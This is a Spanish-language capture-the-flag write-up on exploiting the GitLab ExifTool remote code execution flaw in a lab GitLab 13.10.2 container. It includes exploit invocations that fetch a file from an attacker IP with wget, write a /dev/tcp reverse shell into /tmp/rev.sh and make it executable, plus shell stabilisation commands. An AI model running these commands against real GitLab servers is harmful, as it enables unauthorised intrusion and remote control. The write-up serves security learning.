El Bsides Panama 2022 termino hace un par de semanas atrás y el equipo de Toad Security logro participar en el CTF organizado por Oydia ocupando los primeros puestos. Durante el CTF exploramos todo tipo de servidores con vulnerabilidades que estaremos presentando en los siguientes post, una de ellas fue la de Gitlab Exiftool RCE que estaremos desarrollando en este primer Writeup describiendo la vulnerabilidad.
Si quieres practicar esta vulnerabilidad sobre un Gitlab controlado o de laboratorio puedes instalar un ambiente docker con el siguiente comando y que estaremos utilizando para desarrollar este post.
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.10.2-ce.0
Entremos al infierno
Si quieres explotar una vulnerabilidad de Gitlab lo primero que debes mirar es si ya William Bowling (vakzz) lo ha explotado. En hackerone ha logrado tener buena paga encontrado vulnerabilidades en Gitlab y de alguna manera se ha obsesionado con ello, podemos mirarlo en su perfil y ver el recorrido que ha tenido de bug bounty en hackerone.
Perfil en Hackerone
https://hackerone.com/vakzz?type=user
Durante el CTF fue lo que hice, buscar una vulnerabilidad explotable para Gitlab y me encontré con tremendo arsenal.
La vulnerabilidad explotada fue la Exiftool que removiendo la metada de las imagenes una vez son cargadas en gitlab permite tener un RCE, es importante que para explotar la vulnerabilidad tengamos un usuario registrado en la plataforma, no necesariamente tenemos que tener el administrador o estar confirmado.
Exactamente que es lo que ocurre
Cuando se suben archivos de imagen, GitLab Workhorse pasa cualquier archivo con las extensiones jpg|jpeg|tiff a ExifTool para eliminar cualquier etiqueta que no esté en la lista blanca. Un problema con esto es que ExifTool ignorará la extensión del archivo y tratará de determinar lo que es el archivo basado en el contenido, permitiendo que cualquiera de los analizadores soportados sea golpeado en lugar de sólo JPEG y TIFF con sólo cambiar el nombre del archivo subido. Uno de los formatos soportados es DjVu, al analizar la anotación DjVu, los tokens se evalúan para “convertir las secuencias de escape C”.
Explotemos el agujero negro
Para esta prueba de concepto nos creamos un usuario registrándonos en la aplicación de gitlab , a pesar que nos genere el mensaje que debe ser aprobado por un administrador nos funciona para aprovecharnos de la vulnerabilidad.
Clonamos el repostorio para descargar el exploit con el siguiente comando
- git clone https://github.com/CsEnox/Gitlab-Exiftool-RCE.git
Primera prueba de concepto del exploit
Ejecutamos un mini server con python3 para verificar la comunicación entre la victima y nuestro servidor que vamos recibir la conexión reverse atreves de nuestro backdoor.
python3 -m http.server 8086
( el puerto puede ser cualquiera que este disponible)- Creamos un archivo de prueba con el comando
touch prueba.txt
, una vez accedido remotamente el servidor nos retornara un estatus 200 que ha logrado acceder al URL.
Ejecutamos el exploit utilizando nuestro usuarios registrado
python3 exploit.py -root2 -p root12345 -c "wget http://192.168.0.15:8086/prueba.txt" http://localhost
Validamos que la conexión es exitosa y que estamos ejecutando comandos remotos en el servidor descargando nuestro archivo prueba.txt colocado en nuestro servidor
Procedemos a crear un script que nos permita crear una conexión reverse a nuestro equipo.
- Creamos nuestro archivo rev.sh con el contenido de generar una conexión reversa a nuestro equipo por el puerto 4444 apuntado a nuestra dirección 192.168.0.15, guardamos el archivo en el directorio temp donde se puede llevar acabo ejecución de comandos y guardar archivos.
python3 exploit.py -u root2 -p root123456 -c "echo 'sh -i >& /dev/tcp/192.168.0.15/4444 0>&1' > /tmp/rev.sh" -t http://localhost
Una vez descargado nuestro backdoor rev.sh en tmp, procedemos a colocar nuestro permiso de ejecución con el siguiente comando:
python3 exploit.py -u root2 -p root123456 -c "chmod +x /tmp/rev.sh" -t http://localhost
Ahora solo tenemos que colocarnos en escucha en el puerto 4444 en nuestro servidor y atraves del exploit ejecutar nuestro exploit rev.sh ubicado en el directorio temporal.
python3 -c 'import pty;pty.spawn("/bin/bash")'
para una mejor interacción con la terminal
Tratamiento de la shell como dice el tio s4vitar
echo "script /dev/null -c bash" > input
stty raw -echo; fg
reset xterm